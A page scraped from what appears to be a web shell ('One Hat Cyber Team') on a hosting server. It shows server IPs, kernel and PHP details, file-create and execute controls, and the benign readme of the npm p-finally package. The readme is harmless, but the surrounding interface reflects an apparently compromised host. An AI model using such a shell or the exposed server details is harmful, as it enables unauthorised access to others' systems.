⚝
One Hat Cyber Team
⚝
Your IP:
18.116.15.16
Server IP:
162.254.39.145
Server:
Linux premium289.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
lib
/
node_modules
/
npm
/
node_modules
/
p-finally
/
View File Name :
readme.md
# p-finally [](https://travis-ci.org/sindresorhus/p-finally) > [`Promise#finally()`](https://github.com/tc39/proposal-promise-finally) [ponyfill](https://ponyfill.com) - Invoked when the promise is settled regardless of outcome Useful for cleanup. ## Install ``` $ npm install --save p-finally ``` ## Usage ```js const pFinally = require('p-finally'); const dir = createTempDir(); pFinally(write(dir), () => cleanup(dir)); ``` ## API ### pFinally(promise, [onFinally]) Returns a `Promise`. #### onFinally Type: `Function` Note: Throwing or returning a rejected promise will reject `promise` with the rejection reason. ## Related - [p-try](https://github.com/sindresorhus/p-try) - `Promise#try()` ponyfill - Starts a promise chain - [More…](https://github.com/sindresorhus/promise-fun) ## License MIT © [Sindre Sorhus](https://sindresorhus.com)